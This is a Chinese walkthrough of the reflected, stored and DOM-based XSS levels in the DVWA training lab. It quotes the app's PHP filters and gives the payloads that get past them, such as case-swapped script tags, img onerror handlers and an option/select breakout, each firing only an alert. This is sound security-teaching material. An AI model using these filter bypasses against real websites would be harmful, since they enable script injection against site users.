dvwa xss通关

反射型XSS通关

low难度

选择难度:

直接用下面JS代码尝试:

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

直接下面代码尝试后失败

复制代码
<script>alert(/xss/)</script>

发现这段代码直接被输出:

尝试修改<script>标签的字母大小写,做大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

通关成功:

high难度

查看源码,做代码审计:

复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

存储型XSS通关

low难度

直接用下面代码尝试

复制代码
<script>alert(/xss/)</script>

如图:

通关成功:

medium难度

查看源码,做代码审计:

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

复制代码
$message = trim( $_POST[ 'mtxMessage' ] );

$message = strip_tags( addslashes( $message ) );

$message = htmlspecialchars( $message );

复制代码
$name = trim( $_POST[ 'txtName' ] );

$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

通关成功:

high难度

查看源码

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

复制代码
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

打开hackbar,在URL中输入

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

查看源代码,做代码审计:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

复制代码
<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

复制代码
/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

high难度

查看源代码:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

复制代码
#<script>alert(/xss/)</script>

通关成功:

相关推荐
不会写DN2 分钟前
Protocol Buffers(.proto)实战入门:Go 生态最常用的接口定义语言
java·前端·golang
小小小米粒6 分钟前
原生 JS:数据和视图「分离」,必须手动同步原生 JS 里,数据是数据,视图是视图,两者完全没关系
前端·javascript·vue.js
摸鱼仙人~10 分钟前
纯前端 Vue 实现共享预览链接方案
前端·javascript·vue.js
happymaker062610 分钟前
VueCli标准化工程中的组件通信操作
开发语言·前端·javascript
Yiyi_Coding12 分钟前
Proxy详解
java·前端·javascript
a11177614 分钟前
PreTeXt 开源推荐(应用demo)
前端·开源·html
摸鱼仙人~21 分钟前
前端开发中“共享预览链接”场景-企业级最简方案:Vue + 极简后端(2 接口 1 张表)
前端·javascript·vue.js
七夜zippoe30 分钟前
应用安全实践(一):常见Web漏洞(OWASP Top 10)与防护
java·前端·网络·安全·owasp
reasonsummer33 分钟前
【白板类-03-01】20260402画板01(html+希沃白板)
前端·html